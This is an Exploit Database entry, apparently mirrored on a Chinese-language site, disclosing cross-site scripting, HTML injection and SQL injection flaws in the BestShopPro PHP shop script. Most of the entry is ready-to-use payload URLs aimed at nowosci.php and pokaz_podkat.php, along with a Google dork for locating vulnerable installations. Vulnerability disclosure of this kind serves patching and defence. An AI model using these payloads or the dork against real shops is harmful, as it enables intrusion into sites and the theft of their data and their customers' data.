BST (BestShopPro) – ‘nowosci.php’ Multiple Vulnerabilities

Exploit Database
128 阅读

作者： CoBRa_21

日期： 2011-11-02
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/18063/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

################################################################################################

#Exploit Title: BST - BestShopPro (nowosci.php) Multiple Vulnerabilities

#

#Author : CoBRa_21

#

#E-Mail : uyku_cu [at] windowslive.com

#

#Google Dork : "Powered By BST"

#

#Script Page : http://www.bst.pl

################################################################################################

#

#XSS:

#

#http://127.0.0.1/nowosci.php?a=1&str=<script>alert(/CoBRa_21/)</script>

#

#HTML:

#

#http://127.0.0.1/nowosci.php?a=1&str=<font color=red size=15>CoBRa_21</font>

#

#SQL :

#

#http://127.0.0.1/pokaz_podkat.php?idkat=10&order1=1&str=' (SQL)

#

################################################################################################